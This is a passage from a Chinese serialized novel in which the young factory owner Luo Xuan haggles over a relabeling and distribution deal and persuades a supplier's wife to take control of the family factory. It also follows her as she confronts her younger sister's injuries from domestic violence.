小麻雀无语地看着罗璇和精品店店主讨价还价,最终以150块钱的高价租了一半精品店门口的摊位。 罗璇从小跟着林招娣做小生意起家,业务熟练。 另一半是个老太太,卖童装。 罗璇蹲在地上把摊布铺开,小麻雀忍不住嘲讽:“你好歹也自称小罗总,在外资做白领的人,现在出来摆摊?” “因为你不懂没钱的苦。”罗璇呵呵冷笑,“面子啊腔调啊,能帮我还债吗?” 小麻雀“切”了声,抱手看着。 看着看着,她忍不住站起身:“你的货摆得一点条理都没有。” “什么条理,我不要条理。”罗璇拦住小麻雀,“我就这么卖。” “你确定?”小麻雀皱眉看着罗璇的摊位。巨大的黑色塑料袋,满满当当的牛仔裤塞在里面,就这么一塑料袋丢在摊布上,敞着口。 一阵风吹过,塑料袋翻倒,五六条牛仔裤滑落出来。 邋遢。 真是邋遢。 小麻雀转头四下看看,发现那些买衣服的摊子,都是用杆子和支架把衣服好端端展示起来的。她愈发觉得不靠谱:“你就这样……” 话音未落,一群阿姨仿佛凭空长出来一样,无数只手伸进黑色塑料袋,开始翻翻捡捡、比比划划。 小麻雀又急了:这摊子上,可连个牌子都没有呢! 罗璇只是轻声说了句:“剪标货,就这么点。” 话音刚落,阿姨直接掏钱买了一条。 仿佛按下了什么开关,无数只手涌上来,齐齐在黑色塑料袋里翻找,只听“哗啦”一声,黑色塑料袋被扯破,牛仔裤稀里哗啦地堆满摊位,乱七八糟地纠缠在一起,这个裤管缠着那个裤腰。 人们却翻得更来劲了。 小麻雀愕然:“我不懂。” “我也不懂——收钱啊!”罗璇满头大汗,“但我知道这样卖得快,可能大家觉得这样卖的摊子比较便宜。” 她小时候跟着林招娣去集市上清过货,见识过林招娣此等手法。 500条牛仔裤迅速被疯抢一空。 小麻雀眼睁睁看着隔壁老太太把童装从杆子上拆下来,也乱糟糟地堆在摊子上。 …… 回程的路上,小麻雀累得浓妆都花了,两个黑眼圈几乎掉到下巴上,脸上却无比激动:“太赚钱了,我再也不要轧衣服了,我要去做生意,我要摆地摊,要是每天都能赚这么多,我就发财了!” “我明天不来摆地摊了。”罗璇轻描淡写。 “能赚钱,你为什么不赚?!”小麻雀比罗璇更急。 “明天肯定有人来跟我抢地盘。”罗璇继续轻描淡写,“而且夜市的购买力就这么些,我的生意好,别人生意就差,肯定要被搞。明天再来,必然赚不到钱。” “那你做什么?” 罗璇把照片发给郎峰。 第二天一早,郎峰果然打电话过来质问:“什么意思,草原服饰也是国内高端品牌了,你跑去摆地摊,拉低我的品牌档次?!” 第124章 小狐狸智斗老狐狸 罗璇连忙装傻:“真不好意思,郎总,我按照咱们上次说好的,搞工厂清货呢。” “你放屁。”郎峰气得爆粗口,打断了她,“你故意的吧?!” 当然是故意的。 但罗旋继续装傻:“我把贴牌剪开了……” “你闭嘴。”郎峰抬高声音,“你贴牌的那些裤子,是我让你生产的裤子吗,啊?!” 当然不是。 罗璇耍无赖:“日结工订错了,郎总。我这也是没办法,现在这个经济形势,您也知道,成本支出去了,总要想办法赚回来一些的,不然越做越亏。” 郎峰不说话。 罗璇心想,他要她做了一批货,结果除了30%的首付款,最后只结了15个点的尾款,他还要怎么样。 订都订了,卖都卖了,还能怎么样。 想到这,罗璇理直气壮起来:“经销商反馈,这批裤子卖得挺好的。我贴你的牌,你不吃亏啊。” “你卖个屁,你们做外贸的,哪来的内销渠道。”郎峰不耐烦地戳穿她。 他也是老狐狸,一下子就听出罗璇话语里的若干漏洞:“第一,你这批裤子,根本就不是运动裤。第二,韩国人要的货?罗桑县向来只做欧美生意,你哪接的单子?” “我们自己和广州沙园的韩国设计师合作,开发的版。”罗璇说,“就是运动裤,运动休闲,配着网球上衣穿的。” “合作个屁。”郎峰不客气,“你抄了人家韩国设计师的版吧。” 罗璇铺垫了那么多,就等着郎峰这句话,立刻嘿嘿笑起来:“什么都瞒不过您。我把我们新开发的几条版裤都寄给您,您看看?” 郎峰听了,沉默了很久。 罗璇的心提溜起来。 郎峰突然哈哈笑了:“好你个小罗总!” 罗璇松了口气,只听郎峰又说:“你昨晚和我说,收我15个点尾款,贴牌清存货,就是为了推销你的裤子,对不对?” 对也不对。罗璇暗想,我骗你的可多了去了。 但罗璇假装尴尬地干笑几声:“我还是太嫩了,瞒不过您。” 这下子,马屁总算是拍到位,郎峰哈哈笑起来:“小罗总,你做生意,急是急了点,但聪明和手腕是有的,不要急嘛!钱会流向需要钱的人,你这么聪明,这么灵活,一定会发财的。” 罗璇有心捧他:“郎总英明,我什么都瞒不过您。”她做作地问,“您怎么发现我骗您的?” “你哪来的设计师!”郎峰直接说,“你那点现金流,拿什么请韩国的设计师!一想就是骗人的!但你的设计和版看起来又确实不错。” 顿了顿,郎峰说:“所以,你别骗我,你肯定抄了韩国的版!” 真好哇,理由都有了。 罗璇当然不撒谎,罗璇只有选择地给出真相。 她没承认也没否认,只是笑:“您别打趣我了。” 郎峰笑得更畅快,显然是认定了。 通话结束的时候,郎峰似不经意道:“小罗总,你寄一次货,也挺麻烦的,你那还有什么韩风的版裤,不如一并寄给我。” 罗璇顿了顿。 万一被郎峰再抄了版可怎么办。她才不相信这些商人有底线。 她的目标可不是搞零售。摆地摊。 她的目标,可是借用草原服饰的内销渠道和销售终端。 罗璇笑眯眯说:“您的事,大事小事,对我来说都是大事。这样,我当一次人肉快递员,您明天方不方便,我登门拜访。” 郎峰也笑:“你来,我肯定有时间。” 电话一挂,罗璇立刻打开电脑,一个电话杀给Cythnia:“快,发几个合同模板给我,再借我个法务!” …… 好饭也怕晚。 挂了电话,罗璇也不等隔天,连夜带着样衣赶往上海。 果然,第二天一早,郎峰改了主意。 或许是觉得昨晚头脑发热过于冲动,或许是觉得需要拿捏一下供货商,或许是觉得和罗璇面谈拉低了自己的身份,总而言之,第二天一大早7点半,郎峰客气地打来电话:“小罗总,最近时间不怎么接洽,你看要不我们改天。” 罗璇一听,大事不妙。 世界上最大的谎言:改天。 改天没说改哪天,拖着拖着就黄了! 罗璇从床上弹起来:“哎呀那怎么办,郎总,我还想约您吃个早餐,这会都就到您楼下了!” 她把手机打开公放,火速洗脸刷牙,扎了个马尾喷了两下香水,套上衣服就直接冲出门。 郎峰的声音难掩震惊:“你现在就在上海?” 罗璇扬手坐上出租车,开始涂粉底。 她当然不能说她连夜赶来,上赶着不是买卖,不好谈价。 于是她非常做作道:“我本来就在上海出差,昨晚让团队把样衣送过来。” “小罗总的团队很勤奋啊。” 团队,她哪来的团队。但她当然不能这么说。 “都是志同道合的伙伴。”罗璇边涂口红边高深莫测地说,“现在是大融合时代,做工厂,不能只生产,您说是不是。” “你认识的人很多嘛。”郎峰出言试探。 罗璇和Cythnia早对好口径:“您也知道珊瑚集团不打算在服装上继续发力,服装类项目不多,生意上的朋友,若是总不联络,也就淡了,Cythnia自己忙不过来,有些人际关系的上事情,我帮她处理。” 言外之意是,我背后靠着珊瑚集团的资源。 车子拐了个弯,罗璇跳下车:“我到您园区门口了。” 罗璇就不信了,做生意做的是人情,她大老远跑过来,人都到了楼下,还有Cythnia这层关系在,郎峰能不敷衍她几分钟? 郎峰安静了一会,大概重新掂量掂量了罗璇的价值。 几秒钟后,郎峰突然笑着说:“小罗总风风火火的,年轻人就是干劲足。你稍等,我下去门口接你。” 老板亲自出门迎接,连秘书都省了。 罗璇在心里冷笑,这操蛋的世界,果然是见人下菜碟。 从前Cythnia说起的时候,她只觉得肮脏又不屑,如今她跳入滚滚红尘,真正开始做事,反而发现,无形无色的规则如同一面透明的墙,压着她,把她困进一个固定的形状中。 她只能去适应规则。 罗璇的声音愉悦,听起来毫无芥蒂:“好哇。” 第125章 究竟谁欠谁人情&你老公在外面嫖 在郎峰的带领下,罗璇穿过园区,进入草原服饰的办公楼。 进门处就是陈列台,郎峰特意领着罗璇在此处流连了一番,让她看大大小小的奖项。走廊里挂着草原服饰的历史: 郎峰早年留学欧洲,是设计师出身,一点点将草原服饰做大,后来又出于转型的需要,将草原服饰再一点点做小,最后,基于郎峰的设计,草原服饰成了一个以品牌取胜的轻资产公司。 设计师出身的郎峰,眼睛毒辣。 罗璇把从广州沙园拿的样衣放在郎峰面前,郎峰把裤子里里外外搓了一遍,就直接说:“这个裁剪和打版,确实有水平,是韩国货。” 罗璇也不含糊:“这样的货,我已经制成好几批,可以直接钉你们草原服饰的商标——也就是贴你们的牌。今天贴牌,后天就能拉给你。” 郎峰说:“为什么不拿去出口?” “太麻烦了,在仓库放一天,就是一天的仓储成本,我还有更多的业务要拓展,不想花太多时间和精力。”罗璇说,“而且我们也能碰一碰。” “碰什么?”郎峰明知故问。 虽说上赶着不是买卖,但罗璇毕竟资历浅,而且外贸不好已经人尽皆知,她总归要落下风。 罗璇暗暗在心里叹了口气,说:“想必您也猜到了,我也没必要隐瞒。郎总,我实话实说,现在的经济形势很不好,外贸没利润,我早晚要转内销的。我这次就是带着诚意来的,想与您合作内销渠道和销售终端。” 她长得没什么棱角,话语又透着股老实诚恳,这么说出来,颇令人信任。 郎峰坐在老板椅前,微微笑了:“意思是,你要租用我的销售渠道和终端?七三开,我七你三。” 罗璇被杀得眼前一黑。 “这可不叫租。”罗璇急忙说,“贴您的品牌呢,我们是双赢的。我不贴您的牌子,怎么进您的店?您做品牌的,到时候消费者进店一看,哦,草原服饰怎么还驻卖别的牌子,这草原服饰这么缺钱吗——是不是觉得您的品牌有点低端?” 郎峰笑笑,罗璇说:“六四,我六您四。毕竟货成本是我们出。” “四六。你四我六。”郎峰直接说,“你答应,现在就签合同。不答应,就算了。” 罗璇深呼吸:“五五。我包退货。经销商卖不掉的,就拿回我这边,我退钱给您。您纯赚,怎么都不亏。” “那行吧。”郎峰勉为其难地说,“小罗总,我这人啊,不好说话的,主要是看你年轻能干,所以给你面子。” 他纯赚好吗?! 罗璇再次在心里大骂,这老狐狸,做生意就做生意,一定拐着弯要坑你,还得让你欠人情。 但她嘴上很乖巧:“是的是的,知道您对我好。” …… 中午,郎峰做东请罗璇吃饭。 罗璇酒量不错,直接激起了郎峰的好胜心,两人谁都想压对方一头,借着喝酒的借口,你逼我喝一杯,我逼你喝一杯,若不是Cythnia的法务及时抵沪,恐怕要喝个两败俱伤。 回到办公室,在双方法务又扯皮攀咬4小时,改来改去,这才签好合作分成协议。 罗璇从郎峰的办公楼里一出来,也不管机票贵不贵,立刻直奔机场,坐着飞机直达广州。 她没急着去找那个服装厂老板,而是直接去了城中村。 …… 循着湘菜的味道走进去,隔壁是那家洗头剪发按摩的店。 年轻饱满的女孩子正百无聊赖地倚在门边,把玩一头漆黑厚重的长发。 隔壁桌两个男人看着那个女孩子。 “不就年轻些,漂亮些,卖那么贵,按摩400,过夜600,再稍微加点服务,一晚上就要1000块了,这钱能点好几个。你找谁不一样,关了灯都一样。“ 那样年轻又那样美丽的女孩子,生机勃勃的雀斑,像果子一样饱满的身体……罗璇还有什么不明白的。 罗璇坐在湘菜店里,一个人点了三个菜。菜很辣,辣得罗璇心里一阵一阵说不出的难受。 她又想起父亲的情妇魏茵茵。 这世上很多人并不值得同情,可她依旧难受,也不知道自己在难受谁、难受什么。 …… 罗璇打电话给老板娘,约了她到外面,直接告诉她:“你老公在外面嫖。” 罗璇这么做,并非出自正义。 现在她拿下了郎峰的订单,但并不打算自己生产,只打算从沙园这边进货。老板是精明的生意人,多来几次,肯定能猜到罗璇的意图,必然坐地起价,那她可就没得赚了。 对待敌人,要内部分化。 老板娘浑身一阵,缓缓地、茫然地看向罗璇。 罗璇觉得自己和那议论嫖资的男人没什么两样,都是为了自己的利益,对别人心狠。当然她可以找个借口,譬如是为了对方好——罗璇垂下眼,目光落在老板娘刚刚萌芽的胸上。 薄薄的乳房像两个盛满开水的碟子,烫得罗璇清醒极了,她不得不端着它们,不能放下,也不能洒。 “你老公在外面嫖。”她听见自己缓慢地说,“和按摩小妹。” 老板娘的手颤抖起来。带翻玻璃杯,水淅淅沥沥地淌了满桌。 老板娘颤抖着声音重重说:“你告诉我这个,做什么。” 她当然早就知道。 怎么可能不知道。 罗璇无法直视她的目光。她垂眼问:“他出去嫖,你甘心吗。” “我和他有三个孩子。”老板娘只是说,“小罗总,你还年轻,你不晓得养孩子是多么艰难的事。” 罗璇说:“我只知道,有钱,很多事情都可以不再艰辛。” 老板娘没说话,罗璇又说:“你老公管厂子,你摸不到帐,你就抓不住他的钱。你又抓不住他的裤腰带,那你孩子怎么办?” 老板娘客气地笑了:“小罗总,这是我的家事。” 罗璇伸手要拆开桌面的纸巾,老板娘下意识按住罗璇的手,掏出自带的纸巾,递了一张过去。 罗璇叫来服务生,退掉桌面的纸巾,1块钱。 罗璇轻轻说:“那个小妹一晚上就要1000块。” 老板娘不语。 “你老公,光是今年,就找了她十几次。”罗璇说完这话,就不再多说。 老板娘深深吸了一口气,又缓缓呼出去。 第126章 想自己当老板吗&我是当妈的 隔了一天,老板娘打电话给罗璇。电话接通了,她一句话没说,两个女人都沉默。 “你还在广州?”老板娘开口。 罗璇当然知道她想说的不是这个。 “我还在广州,我在等你。”罗璇说,“你想自己当老板吗?” 想自己当老板吗? 老板娘沉默了一会,只是说:“一千块钱一夜,太贵了。” 片刻后,她补了句:“我不是为了当老板。我只是为了我的孩子。” 罗璇说:“我们见一面。” …… 广州的中山大学西门是布匹批发市场,市场门口有一家星巴克。四面都是玻璃,坐在二楼,可以很清晰地俯瞰楼下来来往往拉货送料的人。 老板娘沉默地看下去。过了很久,她才斟酌着开口:“你找我,究竟为了什么。” “为了钱。”罗璇知道老板娘心里门清,她没必要隐瞒,“你老公博得是东山再起,一定会坐地起价,我没得赚。但我找你就不一样了,你需要改变,我也想起步,我们是双赢的。” 老板娘轻轻吁了口气:“你是真老实。你应该说,你是为我好,不舍得看我被蒙在鼓里,想帮我。” 是吗? “或许是吧。”罗璇现在越来越发现,长得老实自有好处,“我说了你才不信。” “我不信。” 罗璇站起身,“你想喝什么,我请你。” 老板娘想了很久。 “卡布奇诺,你帮我多加糖。” 罗璇点了单,端回来。老板娘看着敞口陶瓷杯上的拉花,突然说:“我结婚以后,再回家,我爸妈都是做我老公爱吃的东西,因为觉得对女婿好,女婿才会对女儿好。我婆婆在老家,我们每次回去,婆婆都做她儿子爱吃的菜,因为我老公是湖南人,路途太远了,她儿子几年难得回去一次。他口味重,我口味淡,我就喜欢吃白灼虾,这么多年,竟然没在双方家里吃上一口。” “你可以自己做。”罗璇说。 老板娘摇头:“我娘家都知道他嫖,但还是不想我离婚,因为生活艰难,有老公比没有强。” “钱不在你手里,怎么都不会强的。”罗璇很客观地说。 “人到中年,他对我没感觉,说实在的,我对他也没太多感觉。夫妻怎么过下去,靠的不是什么爱情,靠的是义气。我和我老公一起做工厂,仓库和后勤都是我在管,他出货备料,我本来觉得这样还挺好。” “你还是吃了点亏。”罗璇还是客观地说,“版师是你娘家的,备料的渠道你自己也有,其实只要搞定出货——比如接下我给你的这个单子——你完全可以自己做。” “那孩子谁管呢?小罗总,我是个当妈的,我不能为了事业,为了赚钱,让孩子做留守儿童。现在小孩都玩电脑,电脑是个坏东西,小孩玩多了,很快就废了。” “现在问题的根源是,你老公出去嫖,花了太多钱。老板娘,你要解决的问题是,想办法把住工厂的账,把你老公的钱袋子挂你自己腰上。” 老板娘垂眼看着咖啡上小小的拉花。 罗璇说:“我现在给你一个单子,这个单子利润挺大。你有三个选择。第一个选择,你拿下这个单子,从此以后踹开你老公,自己单干下去,自己做厂长。第二个选择,你拿下这个单子,趁着做单子的机会,招自己人进来,把你老公的帐摸清,逐渐把厂子的账攥在自己手里,然后继续跟你老公过下去。第三个选择,你不要我这个单子,你什么都不做,那么你还是像现在这样,攥不住老公的钱袋子,也攥不住老公的裤带子,不知道厂子真正盈了还是亏了,不知道你老公怎么在账上做手脚,不知道你老公怎么把钱花出去。” 罗璇补了句:“那些本该是你孩子的钱。”她指了指中山大学的红色砖砌校门,“中山大学,你们广东小清华。” “我小孩考不上的。” “中大MBA不难考,只要你肯花钱,一年学费35万。想一想,以后你小孩问,妈,你宁可让爸出去嫖,也不愿意给我买个中大的光环?” “做生意比读书重要。” “MBA不是读书的,MBA是镀金拓展人脉的,里面全是有钱客户。” 老板娘沉默了很久很久。 两人喝完咖啡,老板娘说:“小罗总,我选第二条路,他毕竟是孩子爸爸,能不离婚还是不离婚。等下你跟我去新塘,去我表姐厂里,把合作供货协议签了。” 顿了顿,老板娘又说:“……做完这单,就不做了。” 罗璇没有再劝,举起咖啡杯:“那我祝你心想事成。” 老板娘和她碰杯:“顺风顺水顺财神。” 两人起身,老板娘说:“你先坐,我下去拦的士,拦到了给你电话。” 罗璇问:“你家不是有车吗?” “那车都是我老公在开。”老板娘说,“我很少用。” “有钱了买辆自己的车。” 老板娘笑笑:“太浪费了。” 两人坐上前往新塘的出租车,老板娘突然问:“上次跟你一起来的那个小妹,你从哪招的?” “啊?” “那个又漂亮又时髦的小妹。”老板娘说,“嘴巴伶俐,脑子反应也快。” 罗璇想了半天,才想清楚她指的是那个令她头痛的小麻雀,行为举止不良,又不爱读书。 同样的牛仔裤,从沙园运到上海去,就变成了畅销货;同样的小女孩,只是换了方水土,就从不良少女变成聪明小妹。 “我的堂亲。”罗璇说,“不是读书的料,但年纪又太小,过几个月才15,没法去社会上做事,现在跟着我,也不是为了赚钱,就是找点事做,省着她闲着乱来。” 她刻意把小麻雀的年纪报大了几岁。 “读不出来就算了。”老板娘立刻说,“她可以来跟着我,学学做生意,能帮我卖货再带带孩子,挺好。她觉得广州怎么样?” 罗璇闻弦歌而知雅意,明白老板娘一是真的没人,二也是卖她个人情,以后方便和她经常走动。 潮汕人会做生意,名不虚传。 罗璇说:“那我得问问她。她现在一个月……”她吞下“2400”,“她手艺好,做日结一个月能打6000多块钱。” 老板娘沉吟了一下:“我明白了。” 第127章 有钱也是没钱,没钱也是有钱&漂亮 小麻雀欢呼起来:“一个月7000块?那可是广州!这下子别人都羡慕死我了,我要纸醉金迷了,我一定要去!” 罗璇并没告诉小麻雀,新塘离广州市区有多远。 她已经放弃了对小麻雀念书的信心。用傅军的话说,与其让她在罗桑厂打转,一心和女工比谁结婚早,乱谈恋爱,还不如送到广州去,广州更包容务实,总比她坐流水线强,至少见见世面。 小麻雀还在抱怨:“罗桑厂这个月的工资还没发,也没说原因,我得等下个月把工资领了才能去。” “罗桑厂发不出工资了?”罗璇心里一紧,“没钱了?不会吧?” “有钱,还给集资入股的工人分红呢。”小麻雀说,“只是说,因为外商要给罗桑厂投资,所以暂时把我们的工资冻结几天,他妈的狗江明映——” 罗璇猝不及防,“噗”出声:“狗江明映?你们怎么骂他啊?他做错什么了?” 怎么都骂江明映? “反正都怪他。”小麻雀说,“大家都骂他,骂外商,都怪他,让我们的日子不好过。” 罗璇哭笑不得。 她警告小麻雀:“这事跟外商没关系,你不许得罪人,少跟着起哄!” 小麻雀悻悻道:“都说是因为他……” “那也不许!你再得罪人!我就不管你了!” “好吧。” 敲定了小麻雀去广州新塘的事后,罗璇和老板娘签了合作协议。 晚上回家,罗璇给自己倒了杯啤酒。 她一边把啤酒倒进杯子里,一边粗略地估算: 稍微一转手,她从中赚了至少50万,根本不累。 心里激动,手上动作急了,啤酒泛起厚厚一层白色泡沫,冒出头,又沿着杯壁流到桌面上,满桌白的稀疏的泡沫。 罗璇心想,这样倒买倒卖也好,她虽然什么都没生产,但她赚到了钱。 管它哪来的钱。 …… 回到罗桑县以后,罗璇休息了两天,把打款的事情处理好,立刻打电话给祝胜男,一五一十地汇报。 罗璇说完了,祝胜男慢悠悠地说:“我都听说了。人家老板两口子已经快吵上了天,老板找我客户告状,说你挑拨夫妻关系。你这是给我人情呢,还是让我难做呢?” 罗璇乖觉:“您是人情入股,这笔给您分红5个点。” 祝胜男满意地挂了电话。 罗璇叹了口气。 此时此刻,林招娣占了她租来的工厂的事还没解决,她只好在关系王的小仓库里支了张小小的椅子,自己盘腿坐在货上,掏出纸笔。伏在椅子一笔一笔算账。 赚了50万,钱还没到手,Cythnia抽走10个点,祝胜男再抽走5个点,纳了国家的税,还要纳罗桑县的“机头税”,剩下的钱还要还卡债和欠债,还要结工厂的租金,还要给各路人马发工资,还得给宗先生的订单备料……层层算下来,这笔钱全滚进生意里了,居然没钱落在自己手上。 苦没少吃,钱也没剩几个,最后收获一库房的货和面料,再卖掉,再重复这个轮回,始终没多少钱在手里,就这样长长久久地滚下去…… 罗璇光是想想,就后背冒冷汗了。 她算了算去,怎么都没钱给自己发工资。 做小生意人好难啊! 除非自己亲自上手做,否则,她哪里知道自己会在“我有钱了”“我没钱了”之间反复横跳? 正黯然神伤,手机响了,是罗珏。 “你赶紧这里来。”罗珏报了个医院地址,“小妹出事了。” …… 再见到罗琦的时候,罗璇的眼泪一下子掉下来:“家暴,老郑他居然家暴?” 美丽的小妹,那张小小的、美丽的面孔,此刻却已经肿得看不出原来的样子。罗琦大半张脸缠满了绷带,一直缠过鼻子,露在外面的小半张脸青青紫紫,眼睛肿得睁不开。 “我们去起诉他。”罗珏不断地重复,“这不仅仅是离婚的事。他必须付出代价。” 罗琦转动眼珠,看向罗珏和罗璇。 她半张脸肿胀:“算了,徒然被耗着,耗个一年半载……没用的。打不过的。” 罗璇又急又气:“难道就这么算了?” 向来精明泼辣的小妹,此刻的声音只剩下疲惫:“算了。他耗得起,我们耗得起吗?而且,我们是夫妻关系,就算我耗得起,他又能被怎么样呢?不痛不痒的一点惩罚罢了。” 护士进来敲敲门:“家属。” 罗珏站起身,走出去。罗璇想握住小妹的手,垂眼看见小妹的指甲翻了两片。 “何至于此?”罗璇流下眼泪,“你们是夫妻,他破产了,你也没离开他,反而陪着他,他怎么这么心狠?” 小妹闷闷地笑起来。 “因为我不肯把房子抵了拿钱给他东山再起。我认为那房子不是他掏的钱,他认为我不应该和他区分你我。” “那他就下这样的狠手?” “是。”小妹简单地说。 她把头侧向另一边,那边的窗户漏了条缝隙没有关,透过窄窄的缝隙,可以看到群星璀璨的夜空。 人生总是这样,总要想方设法穿过窄窄的缝隙。 “姐,我得在医院躲一阵子。”她安静地说,“老郑对外说,他把钱全给我了,所以,那些要债的追着我咬,让我把房子卖了,给他们。但我那套房子是我自己的财产,我不想填给老郑。” 罗璇看着窄缝。 人要用尽多少力气,才能推开这扇窗,触到那无垠的、灿烂的星空呢? “但我早该想到,老郑能赚那么多钱,必然比我精明一千倍、一万倍,我根本斗不过他。”小妹的声音很疲惫,“我以为他对我,就算没有爱,也至少有一点感情——养猫养狗都能有点感情,是吧?但我还是高估了我自己,低估了人性。” “你高估了爱。” “是。”小妹艰难地说,“因为他曾经帮我解决很多问题,所以我感激他。我对他是有点情分的。我以为他也一样。” “涉及到利益,情分就是纸糊的。” 半晌,小妹费力地笑了:“漂亮根本没用。平日里,逗猫逗狗一样的,夸你漂亮,哄两句,给仨瓜俩枣。小恩小惠。可谁会因为你长得漂亮,就把大钱让给你?争争抢抢,自己的面皮都不要了,谁还在乎面皮漂不漂亮!” 罗璇注意到小妹眼角的泪痕混着药膏,在脸上划出黏糊糊的一条。 她转头寻找湿巾,准备替小妹抹脸。 罗琦哑声说:“我要感谢老郑。这就是他给我上的最后一课。这一课,早上比晚上要强。所以命运待我,也不是不好的。” 病房里渐渐安静。 半晌后,罗琦哼唱起来,是一句老家的小调。罗璇小的时候总听林招娣唱。 “命运茫茫白水,人生散落其中,如夜行船。” 罗璇心中恻然。 她拆开湿巾,抽出一张,给小妹抹脸。 小妹说了什么,罗璇停下手去听。 “这里头有酒精,皮肤会干,你懂不懂护肤,你这练体育的傻大个。”罗琦费劲地哼哼。 罗璇心里那点恻然被气得一干二净:“那你要怎样?” “给我换纯净水。” 罗璇给小妹用洗脸巾蘸纯净水擦过脸,又在小妹的指挥下,经过一系列复杂的操作,给她脸上厚厚地敷了好几层东西:“你刚还在说漂亮没用?!” “漂亮本身没用。因为漂亮是手段,不是目的,端看我怎么用——你轻点!咱们家祖坟铁树开花,多少代才憋出我这么个美女,我的皮肤可不能皱。” 罗璇气笑了:“对,罗美人,你漂亮。” 罗琦深吸一口气,轻声地、坚定地说:“对,我漂亮。” 不知是应和罗璇,还是自言自语。 就在这时,罗珏站在门口喊罗璇:“过来帮我提东西。” 第128章 毁容&婚姻 罗璇走出病房。 两人拐到医院超市里,罗珏随便拿了几样东西,叹了口气:“护士问我要不要加钱换美容线。” “什么意思。” “换美容线,疤会淡一些。”罗珏用力眨眼,“小妹的鼻子和下巴都是粉碎性骨折。我问护士,会影响容貌吗,护士说,肯定是影响的,只是多一些少一些的区别。我说,我愿意加钱,只要能恢复如初,护士说,这不是钱能解决的问题。最后我问,究竟有多严重?护士说,要么糟糕,要么特别糟糕。” “意思是,小妹的脸——” “保不住。” 罗璇要想很久。她只觉得这声音飘飘荡荡的不真切。 小妹漂亮,小妹是个美人,小妹的外号就叫“罗美人”—— “小妹——毁容了?” 大姐默认。 一股激麻从尾椎骨攀升到头顶,因为屈辱,因为愤怒,因为某种血脉相连的、感同身受的痛苦。 罗璇要喘息很久,才能用力压下那股沉重的痛苦与不甘。她使出九牛二虎之力,声音却仿佛从压抑的海底传上来。 “难道我们就只能眼睁睁看着小妹被人这么欺负吗?”罗璇把手里的卷纸重重放回货架上,“他把人打成这样,最多是一点轻飘飘的惩罚?” “领了结婚证的。”罗珏说,“婚内算家庭暴力,重判不得,没办法的。” “凭什么,究竟凭什么?” 罗珏沉默地注视着眼前黑色的货架:“你总是非黑即白,可我们生活在现实世界。你这样一点用都没有。” “那怎样才是有用?!” “爬上去。”罗珏轻轻地说,“要么变成菜,要么变成吃菜的人。” “难道你的意思是,小妹就活该,我们姐妹三个就是活该,就因为我们没爬上去?!”罗璇转过头,直直地看着罗珏,“你究竟在说什么?只有这样,才能活得好?难道这个世界,从来都属于好斗的人?!难道我不喜欢争斗和纠缠,我就要被人往死里欺负,对方只受到些不痛不痒的惩罚?” “无论你怎么想。这个世界不会按照你的想法去运转。” “那是这个世界的问题,不是我们的问题!是老郑的问题,不是小妹的问题!” “这些都是你的情绪,情绪没有意义,我们首先要解决问题。现在最大的问题是,小妹的脸保不住了。”罗珏没理会罗璇。她注视着货架上五颜六色的商品,声音冷淡,“我们分头查一查,面部瘢痕期间有什么忌口的。后面,有合适的整容医院……看小妹自己的意愿吧。” 罗璇喘息了很久。 “要瞒住小妹吗。”她说,“她的脸……她那么爱漂亮……” 罗珏看着罗璇,神情里带着点冷,带着点果决。 “我已经告诉小妹了。”她说。 “小妹能接受吗?!” “她必须接受。” 罗璇看着大姐清冷的侧脸。 罗珏的声音缥缥缈缈的,不真实的,如遥远的月光:“这个世界就是这样子的。她接受也得接受,不接受——也得接受。” …… 小妹和老郑闹到这个份上,罗珏和罗璇的全部行李,只能连夜从老郑朋友的仓库里拉走。 罗璇连夜找了关系王,幸好罗桑县空房子很多,她连房子都没看,直接租了关系王朋友 的一个三居室单元。 凌晨,两人站在上海街头等货车。 罗璇心想,自己沪飘生涯,就这么匆匆忙忙地戛然而止。没有纪念仪式,没有温馨话别,只有一个猝不及防的夜,和提着大包小裹的自己,有一点狼狈,有一点悲壮,还有因渺小狼狈个体居然感觉悲壮所导致的,一点滑稽。 又渺小又悲壮,想必此前千千万万沪飘前辈离开上海的时候,也是这等感受吧。 她是城市的宏大叙事下一个微不足道的注脚。 罗璇注视着巨大而沉默的城市,又抬起头,看着月亮。 此时此刻,为了能够第二天一早就给罗桑厂供料,罗桑县大大小小工厂正连夜开工,整 个罗桑县灯火通明。罗桑厂产出的衣服,又沿着无数条蜿蜒的公路,像血管一样,传输到世界各地,有一些会贴上矜贵的logo,陈列在纤尘不染的专卖店里,最后被高价购下,三番两转,飞机轮船,最终出现上海的街头,构成奢侈的景观。 罗桑县的月亮总是黯淡的。 上海的月亮也并非明亮。 微风吹拂,罗璇注视着月亮,想起老家的小调。 命运茫茫白水,人生散落其中,如夜行船。每个人都如夜里行船,不知自己将去向何方,不知前方将是怎样的生活。 “你真就这样离开上海了吗?”罗珏问,“你和祝峻……他后来没再找过你?” 祝峻啊。 祝峻当然没再找过她。 罗璇惘然道:“大姐,有时候我会觉得,其实你和祝峻,才是一路人。” 罗珏没有否认:“某些方面,我和祝峻是同类。所以我能猜到他的想法。” “祝峻应该喜欢你,你们才是同类。” 罗珏嗤笑:“祝峻这样的人,绝对不会喜欢我,我也从一开始就不喜欢他。” “所以祝峻才喜欢我,对吗。”罗璇说。 罗珏没说什么。 即使大姐不说,罗璇心里也清楚,祝峻就是这样的。 他的生命里,自我永远是第一位的,紧接着是社会的荣耀。至于剩下的,亲情,爱情,友情,婚姻,家庭,等等等等,全部捏在一块,也不过占小小的一个格子。 这样的人,永远为目标明确,永远力争上游,永远为自我而活。 想到小妹的脸,想到这段时间的经历。 罗璇发现自己完全可以理解祝峻。她想到祝峻的时候,心里很平静,没有怨愤,也没有不甘。 “他条件好,但你……算了,你做不到。”罗珏说,“和这样的人做终生伴侣,需要你很多牺牲与付出。” “除了那张劳动合同,和他在一起,我倒没觉得自己付出过什么。”罗璇客观地说。 “现在不付出,未来也要付出的。你以为婚姻是谈恋爱?婚姻里,全是细细碎碎的小活,婚姻就是尿渍的马桶壁谁看不下去谁去刷,小孩每日谁接送,就算请了育儿嫂和保姆,谁去请谁去管谁去教?难道祝峻会有时间做这些?” 罗璇摇头:“你想到太远去。” “祝峻为什么没再找你?”大姐轻声说,“你现在做工厂,刚刚起步,就已经这么忙,那以后岂不是更忙?他也忙,你也忙,这个家怎么办?权衡利弊,他喜欢你是一回事,真和你结婚又是另外一回事。” 罗璇从未从这个角度去想过。 “倘若二十年后,等你们四十、五十的时候,或许对人生有不一样的看法。但此时此刻你们都在向前看,你们的时机不对。你做不到,他求不得,你们两个不合适。” 罗璇注视着夜空。 “算了,都过去了。”她最后说。 第129章 爱并非故事的终点&我知道,但我不想 货车到了,司机降下车窗抽烟,喷了两姐妹满头烟味。 